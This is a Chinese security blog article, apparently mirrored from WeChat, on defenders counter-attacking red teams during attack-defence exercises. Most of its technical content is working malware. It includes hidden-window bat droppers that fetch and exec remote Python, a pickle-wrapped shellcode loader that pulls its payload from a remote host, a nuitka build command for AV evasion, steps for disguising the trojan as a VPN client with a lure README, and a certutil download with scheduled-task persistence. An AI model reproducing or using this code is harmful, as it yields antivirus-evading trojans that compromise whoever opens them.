Skip to content

Latest commit

 

History

History
244 lines (109 loc) · 10.2 KB

[潇湘信安]-2023-7-14-攻防演练!针对溯源反制的思考.md

File metadata and controls

244 lines (109 loc) · 10.2 KB

攻防演练!针对溯源反制的思考

和风 潇湘信安

潇湘信安

微信号 xxxasec

功能介绍 一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、渗透思路、奇淫技巧与知识总结。


__发表于

收录于合集 #溯源反制 5个

声明: 该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!

前言

随着攻防演练的发展,无论是红队的钓鱼邮件还是蓝队的溯源反制都需要涉及到钓鱼与免杀。为什么防守队也需要钓鱼与免杀呢?因为在红蓝对抗中,如果只通过溯源加分是有限的,想要通过“攻击IP”就获取到攻击者的姓名、电话、地址等信息是比较困难的。那如果在前期就做好反制措施,比如在网站根目录放置一个钓鱼文件www.zip,那就需要涉及到钓鱼与免杀技术啦。

作者在前段时间也是承担着防守队的职责,通过溯源反制追回了几千分的分数。接下来作者会站在防守者的角度来说一说溯源反制在攻防演练中如何进行。

防守队溯源方法

**首先溯源讲究的就是有效还原攻击链:
**


 1. 攻击者是通过“哪个系统”+“哪个漏洞”打进来的,确认攻击IP有哪些。2. 攻击者打到内网后做了什么操作,例如“流量代理”+“内网穿透”。3. 最后总结哪些互联网和内网系统被拿下了,并且通过安全流量设备等方式证明攻击者的攻击动作。

溯源那肯定少不了一些威胁情报平台的帮助,作者通过攻击IP能够溯源到如下这些信息。

微步在线情报社区:https://x.threatbook.com/

通过微步在线情报社区可以获取到该服务器的信息,信息模块如下。

奇安信威胁情报中心:https://ti.qianxin.com

通过奇安信威胁情报中心可以获取到该服务器的信息,信息模块如下,通过注册的域名可以反查到注册者的个人信息,这里可以做个报告发给裁判审核,说不定运气好就是攻击者的个人信息。

这里有个反制的思路,就是通过主机信息可以看到该服务器开放了多个端口,有些攻击者会在自己服务器上搭建“灯塔”、“Awvs”、“Nessus”等扫描系统,这时候如果能通过口令枚举等途径获取到服务器权限,也是能够给防守进行加分的。

钓鱼文件反制(一)

攻击者通常都装有python、java等环境,cobalt strike有个钓鱼攻击模块(Scripted Web Delivery),利用python语言可以做到免杀的效果,这个作者也很好奇为啥不会被查杀。

写个bat脚本,然后将shell脚本命令写在里面,然后通过伪装一下诱导攻击者去点击(例如zip压缩包自解压执行)


@echo off  
if "%1"=="h" goto begin  
Start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h",0)(window.close)&&exit  
:begin  
python -c "import urllib2; exec urllib2.urlopen('http://ip:8090/a').read()

钓鱼文件反制(二)

制作免杀exe木马,然后伪装成防守单位的远程vpn程序。

代码test1.py


import pickle  import base64    
shellcode = """  import ctypes,urllib.request,codecs,base64  shellcode = urllib.request.urlopen('http://ip/base64.txt').read()  shellcode = base64.b64encode(shellcode)  shellcode = base64.b64decode(shellcode)  shellcode = base64.b64decode(shellcode)  shellcode =codecs.escape\_decode(shellcode)\[0\]  shellcode = bytearray(shellcode)  \# 设置VirtualAlloc返回类型为ctypes.c\_uint64  ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c\_uint64  \# 申请内存  ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c\_int(0), ctypes.c\_int(len(shellcode)), ctypes.c\_int(0x3000), ctypes.c\_int(0x40))  \# 放入shellcode  buf = (ctypes.c\_char \* len(shellcode)).from\_buffer(shellcode)  ctypes.windll.kernel32.RtlMoveMemory(      ctypes.c\_uint64(ptr),      buf,      ctypes.c\_int(len(shellcode))  )  \# 创建一个线程从shellcode防止位置首地址开始执行  handle = ctypes.windll.kernel32.CreateThread(      ctypes.c\_int(0),      ctypes.c\_int(0),      ctypes.c\_uint64(ptr),      ctypes.c\_int(0),      ctypes.c\_int(0),      ctypes.pointer(ctypes.c\_int(0))  )  \# 等待上面创建的线程运行完  ctypes.windll.kernel32.WaitForSingleObject(ctypes.c\_int(handle),ctypes.c\_int(-1))"""    
class A(object):      def \_\_reduce\_\_(self):          return (exec, (shellcode,))    
ret = pickle.dumps(A())  ret\_base64 = base64.b64encode(ret)  print(ret\_base64)

代码test2.py


mport base64,pickle,ctypes  shellcode=b'这里填上面python脚本输出的数据'  pickle.loads(base64.b64decode(shellcode))

生成exe文件,一个比较简单的免杀木马,可以绕过杀毒软件

nuitka --mingw64 --standalone --show-memory --show-progress  --windows-company-name=test --windows-product-name=test --windows-file-version=1.0 --windows-product-version=1.0 --windows-file-description=test --windows-disable-console --nofollow-imports --follow-import-to=utils,src --onefile --output-dir=out test2.py

伪装成防守队攻击的sslvpn,利用BeCyIconGrabber.exe获取sslvpn的ico图标

接着用工具Restorator 2018.exe替换图标,就可以伪造成一个sslvpn程序了

攻击者会对范围内的系统进行信息收集和攻击利用,这个时候,只需要将免杀木马和vpn连接的教程文档放在一个www.zip的压缩里面,稍微需要伪装一下,可以用类似这样的话术来欺骗攻击者:

vpn测试,仅内部员工使用!

点击文件夹中vpn程序,输入地址和端口

请输入账号密码xxx/xxx!@#123,即可访问资源

钓鱼文件反制(三)

bat脚本除了压缩包自解压运行之外,还可以利用工具将bat文件转成exe程序去伪装。

这里还是写个bat脚本文件,先利用certutil下载后门木马文件,然后做一个定时任务test,在每日下午16:18分运行后门木马文件。


@echo off  
if "%1"=="h" goto begin  
start mshta vbscript:createobject("wscript.shell").run("""%~nx0""h",0)(window.close)&&exit  
:begin  
copy c:\\windows\\system32\\certutil.exe a.exe  
a.exe -urlcache -split -f  http://ip/test123.exe D://test123.exe  
schtasks /create /tn test /tr D:\\\\test123.exe /sc daily /st 16:18

总结

以上是作者自己的一些溯源反制的思路及想法,仅作学习参考,个人觉得比较粗糙,但在攻防演练中也真实起到了作用。师傅们可以参考下上面的思路,在演练中创造出更加有新意、更加实用的一些溯源反制方法。

文章来源:奇安信攻防社区(和风)原文地址:https://forum.butian.net/share/2325

**关注我们 ******

还在等什么?赶紧点击下方名片开始学习吧!


信 安 考 证

需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【潇湘信安】知识星球 1 年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...



推 荐 阅 读


预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看